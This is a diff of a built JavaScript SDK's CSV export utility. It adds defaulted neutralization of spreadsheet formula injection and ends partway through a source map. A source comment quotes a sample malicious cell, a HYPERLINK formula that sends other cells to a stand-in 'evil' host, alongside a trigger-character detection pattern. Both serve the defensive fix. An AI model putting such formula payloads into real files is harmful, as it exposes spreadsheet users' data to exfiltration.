useDataProvider, Q as useDebounce, te as useDeepMemo, Ro as useDelete, ka as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, dc as useErrorHandler, ae as useEventListener, ms as useEventStream, He as useFavicon, Yl as useFeatureFlag, kc as useFieldArray, Xl as useFlagValue, m as useFocusTrap, Ac as useForm, jc as useFormContext, Mc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Ea as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, Kc as useLinkStats, zo as useList, Le as useListState, oe as useLocalStorage, ts as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, ns as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, rs as useNavigate, yn as useNotificationInbox, uo as useOAuthCallback, Je as useObjectUrl, Eo as useOfflineMutation, lt as useOfflineSync, Bo as useOne, le as useOnline, Da as useOptionalI18n, wo as usePaginatedQuery, $ as usePagination, is as useParams, $a as usePasskeyCapabilities, eo as usePasskeyRegistration, to as usePasskeySignIn, La as usePoll, vl as usePositionTracker, ke as usePrevious, xs as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, as as useRouteError, ic as useScreenCapture, we as useScrollLock, at as useScrollOverflow, os as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Hs as useSfxPool, it as useSortable, oc as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Vl as useTelemetry, us as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, Oa as useTranslate, Be as useTypewriter, Vo as useUpdate, Ec as useViaCEP, nc as useVideoRecorder, Nc as useWatch, Lc as useWebSocket, Ne as useWindowSize, hc as useZodForm, yc as validateCNPJ, bc as validateCPF, pc as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, ta as withTimeout, ra as writeXlsx, mc as zodResolver };
@@ -1,4 +1,4 @@
1
- const e=require("../share/share-or-download.cjs");var t=``;function n(e,t){return e.includes(t)||e.includes(`"`)||e.includes(`
2
- `)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function r(e){return e==null?``:e instanceof Date?e.toISOString():String(e)}function i(e,i,a={}){let{delimiter:o=`,`,bom:s=!0}=a,c=[i.map(e=>n(e.header,o)).join(o)];for(let t of e){let e=i.map(e=>n(r(e.csv?e.csv(t):t[e.key]),o));c.push(e.join(o))}return`${s?t:``}${c.join(`\r
3
- `)}`}async function a(t,n,r=`export.csv`,a={}){let o=new Blob([i(t,n,a)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(o,r)}exports.downloadCsv=a,exports.toCsv=i;
1
+ const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}function a(e,t){return e.includes(t)||e.includes(`"`)||e.includes(`
2
+ `)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function o(e,t){return e==null?``:typeof e==`number`||typeof e==`bigint`||typeof e==`boolean`?String(e):e instanceof Date?e.toISOString():t?i(String(e)):String(e)}function s(e,n,r={}){let{delimiter:i=`,`,bom:s=!0,neutralizeFormulas:c=!0}=r,l=[n.map(e=>a(o(e.header,c),i)).join(i)];for(let t of e){let e=n.map(e=>a(o(e.csv?e.csv(t):t[e.key],c),i));l.push(e.join(i))}return`${s?t:``}${l.join(`\r
3
+ `)}`}async function c(t,n,r=`export.csv`,i={}){let a=new Blob([s(t,n,i)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(a,r)}exports.downloadCsv=c,exports.toCsv=s;
4
4
  //# sourceMappingURL=csv.cjs.map
@@ -1 +1 @@
1
- {"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * @param value - The raw cell value.\n * @returns The text to write.\n */\nfunction cellText(value: unknown): string {\n if (value === null || value === undefined) return \"\";\n if (value instanceof Date) return value.toISOString();\n return String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter and BOM.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true } = options;\n\n const lines = [columns.map((column) => escapeField(column.header, delimiter)).join(delimiter)];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter and BOM, forwarded to {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IA2CZ,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAYA,SAAS,EAAS,EAAwB,CAGtC,OAFI,GAAU,KAAoC,GAC9C,aAAiB,KAAa,EAAM,YAAY,EAC7C,OAAO,CAAK,CACvB,CAsBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,IAAS,EAElC,EAAQ,CAAC,EAAQ,IAAK,GAAW,EAAY,EAAO,OAAQ,CAAS,CAAC,CAAC,CAAC,KAAK,CAAS,CAAC,EAE7F,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,IACf,EAAG,CAAS,CAC9C,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAmBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
1
+ {"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n /**\n * Prefix `'` to every text field that a spreadsheet would read as a formula.\n * Default `true`.\n *\n * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n * `=`), and opening the file evaluates it: a name typed\n * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n * and because the app that exports rarely controls every value in it.\n *\n * Numbers are never prefixed: a `number` cell, or a text field that is only a\n * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n * neither can a lone `\"-\"`, which is left alone too. Pass\n * `false` when the file feeds another system's importer rather than a person's\n * spreadsheet, so the bytes round-trip unchanged.\n */\n neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n if (value === null || value === undefined) return \"\";\n if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n return String(value);\n }\n if (value instanceof Date) return value.toISOString();\n return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n const lines = [\n columns\n .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n .join(delimiter),\n ];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw, neutralizeFormulas), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n * {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":"kDAqBA,IAAM,EAAM,IAqDN,EAAkB,eAQlB,EAAe,uDAoBrB,SAAS,EAAkB,EAAuB,CAE9C,OADI,IAAU,KAAO,EAAa,KAAK,CAAK,EAAU,EAC/C,EAAgB,KAAK,CAAK,EAAI,IAAI,IAAU,CACvD,CAaA,SAAS,EAAY,EAAe,EAA2B,CAO3D,OALI,EAAM,SAAS,CAAS,GACxB,EAAM,SAAS,GAAG,GAClB,EAAM,SAAS;CAAI,GACnB,EAAM,SAAS,IAAI,EAEhB,IAAI,EAAM,WAAW,IAAK,IAAI,EAAE,GADhB,CAE3B,CAiBA,SAAS,EAAS,EAAgB,EAA6B,CAM3D,OALI,GAAU,KAAoC,GAC9C,OAAO,GAAU,UAAY,OAAO,GAAU,UAAY,OAAO,GAAU,UACpE,OAAO,CAAK,EAEnB,aAAiB,KAAa,EAAM,YAAY,EAC7C,EAAa,EAAkB,OAAO,CAAK,CAAC,EAAI,OAAO,CAAK,CACvE,CAwBA,SAAgB,EACZ,EACA,EACA,EAAsB,CAAC,EACjB,CACN,GAAM,CAAE,YAAY,IAAK,MAAM,GAAM,qBAAqB,IAAS,EAE7D,EAAQ,CACV,EACK,IAAK,GAAW,EAAY,EAAS,EAAO,OAAQ,CAAkB,EAAG,CAAS,CAAC,CAAC,CACpF,KAAK,CAAS,CACvB,EAEA,IAAK,IAAM,KAAO,EAAM,CACpB,IAAM,EAAQ,EAAQ,IAAK,GAIhB,EAAY,EAHP,EAAO,IACb,EAAO,IAAI,CAAG,EACb,EAAgC,EAAO,KACb,CAAkB,EAAG,CAAS,CAClE,EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC,CACpC,CAEA,MAAO,GAAG,EAAM,EAAM,KAAK,EAAM,KAAK;CAAM,GAChD,CAoBA,eAAsB,EAClB,EACA,EACA,EAAW,aACX,EAAsB,CAAC,EACV,CACb,IAAM,EAAO,IAAI,KAAK,CAAC,EAAM,EAAM,EAAS,CAAO,CAAC,EAAG,CACnD,KAAM,wBACV,CAAC,EACD,MAAM,EAAA,oBAAoB,EAAM,CAAQ,CAC5C"}
package/dist/utils/csv.js CHANGED
@@ -1,25 +1,28 @@
1
1
  import { shareOrDownloadBlob as e } from "../share/share-or-download.js";
2
2
  //#region src/utils/csv.ts
3
- var t = "";
4
- function n(e, t) {
3
+ var t = "", n = /^[=+\-@\t\r]/, r = /^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;
4
+ function i(e) {
5
+ return e === "-" || r.test(e) ? e : n.test(e) ? `'${e}` : e;
6
+ }
7
+ function a(e, t) {
5
8
  return e.includes(t) || e.includes("\"") || e.includes("\n") || e.includes("\r") ? `"${e.replaceAll("\"", "\"\"")}"` : e;
6
9
  }
7
- function r(e) {
8
- return e == null ? "" : e instanceof Date ? e.toISOString() : String(e);
10
+ function o(e, t) {
11
+ return e == null ? "" : typeof e == "number" || typeof e == "bigint" || typeof e == "boolean" ? String(e) : e instanceof Date ? e.toISOString() : t ? i(String(e)) : String(e);
9
12
  }
10
- function i(e, i, a = {}) {
11
- let { delimiter: o = ",", bom: s = !0 } = a, c = [i.map((e) => n(e.header, o)).join(o)];
13
+ function s(e, n, r = {}) {
14
+ let { delimiter: i = ",", bom: s = !0, neutralizeFormulas: c = !0 } = r, l = [n.map((e) => a(o(e.header, c), i)).join(i)];
12
15
  for (let t of e) {
13
- let e = i.map((e) => n(r(e.csv ? e.csv(t) : t[e.key]), o));
14
- c.push(e.join(o));
16
+ let e = n.map((e) => a(o(e.csv ? e.csv(t) : t[e.key], c), i));
17
+ l.push(e.join(i));
15
18
  }
16
- return `${s ? t : ""}${c.join("\r\n")}`;
19
+ return `${s ? t : ""}${l.join("\r\n")}`;
17
20
  }
18
- async function a(t, n, r = "export.csv", a = {}) {
19
- let o = new Blob([i(t, n, a)], { type: "text/csv;charset=utf-8" });
20
- await e(o, r);
21
+ async function c(t, n, r = "export.csv", i = {}) {
22
+ let a = new Blob([s(t, n, i)], { type: "text/csv;charset=utf-8" });
23
+ await e(a, r);
21
24
  }
22
25
  //#endregion
23
- export { a as downloadCsv, i as toCsv };
26
+ export { c as downloadCsv, s as toCsv };
24
27
 
25
28
  //# sourceMappingURL=csv.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n /** Property of the row this column reads from. Doubles as the column key. */\n key: keyof T;\n /** Column heading, written to the first line. */\n header: string;\n /**\n * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n * empty field.\n *\n * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n * a text file — a badge or a link would serialize as `[object Object]`. Give\n * the column this accessor and the export says what the badge said.\n */\n csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n /**\n * Field separator. Default `\",\"`.\n *\n * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n * which is every pt-BR install — otherwise it opens the file in one column.\n */\n delimiter?: \",\" | \";\";\n /** Prefix the output with a UTF-8 BOM. Default `true`. */\n bom?: boolean;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n const mustQuote =\n value.includes(delimiter) ||\n value.includes('\"') ||\n value.includes(\"\\n\") ||\n value.includes(\"\\r\");\n if (!mustQuote) return value;\n return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * @param value - The raw cell value.\n * @returns The text to write.\n */\nfunction cellText(value: unknown): string {\n if (value === null || value === undefined) return \"\";\n if (value instanceof Date) return value.toISOString();\n return String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n * { key: \"name\", header: \"Nome\" },\n * { key: \"email\", header: \"E-mail\" },\n * { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter and BOM.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n options: CsvOptions = {},\n): string {\n const { delimiter = \",\", bom = true } = options;\n\n const lines = [columns.map((column) => escapeField(column.header, delimiter)).join(delimiter)];\n\n for (const row of rows) {\n const cells = columns.map((column) => {\n const raw = column.csv\n ? column.csv(row)\n : (row as Record<string, unknown>)[column.key as string];\n return escapeField(cellText(raw), delimiter);\n });\n lines.push(cells.join(delimiter));\n }\n\n return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter and BOM, forwarded to {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n rows: readonly T[],\n columns: readonly CsvColumn<T>[],\n fileName = \"export.csv\",\n options: CsvOptions = {},\n): Promise<void> {\n const blob = new Blob([toCsv(rows, columns, options)], {\n type: \"text/csv;charset=utf-8\",\n });\n await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAM,IAAM;AA2CZ,SAAS,EAAY,GAAe,GAA2B;CAO3D,OALI,EAAM,SAAS,CAAS,KACxB,EAAM,SAAS,IAAG,KAClB,EAAM,SAAS,IAAI,KACnB,EAAM,SAAS,IAAI,IAEhB,IAAI,EAAM,WAAW,MAAK,MAAI,EAAE,KADhB;AAE3B;AAYA,SAAS,EAAS,GAAwB;CAGtC,OAFI,KAAU,OAAoC,KAC9C,aAAiB,OAAa,EAAM,YAAY,IAC7C,OAAO,CAAK;AACvB;AAsBA,SAAgB,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,OAAS,GAElC,IAAQ,CAAC,EAAQ,KAAK,MAAW,EAAY,EAAO,QAAQ,CAAS,CAAC,CAAC,CAAC,KAAK,CAAS,CAAC;CAE7F,KAAK,IAAM,KAAO,GAAM;EACpB,IAAM,IAAQ,EAAQ,KAAK,MAIhB,EAAY,EAHP,EAAO,MACb,EAAO,IAAI,CAAG,IACb,EAAgC,EAAO,IACf,GAAG,CAAS,CAC9C;EACD,EAAM,KAAK,EAAM,KAAK,CAAS,CAAC;CACpC;CAEA,OAAO,GAAG,IAAM,IAAM,KAAK,EAAM,KAAK,MAAM;AAChD;AAmBA,eAAsB,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAM,IAAO,IAAI,KAAK,CAAC,EAAM,GAAM,GAAS,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAM,EAAoB,GAAM,CAAQ;AAC5C"}
1
+ {"version":3,"file":"csv.js","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a 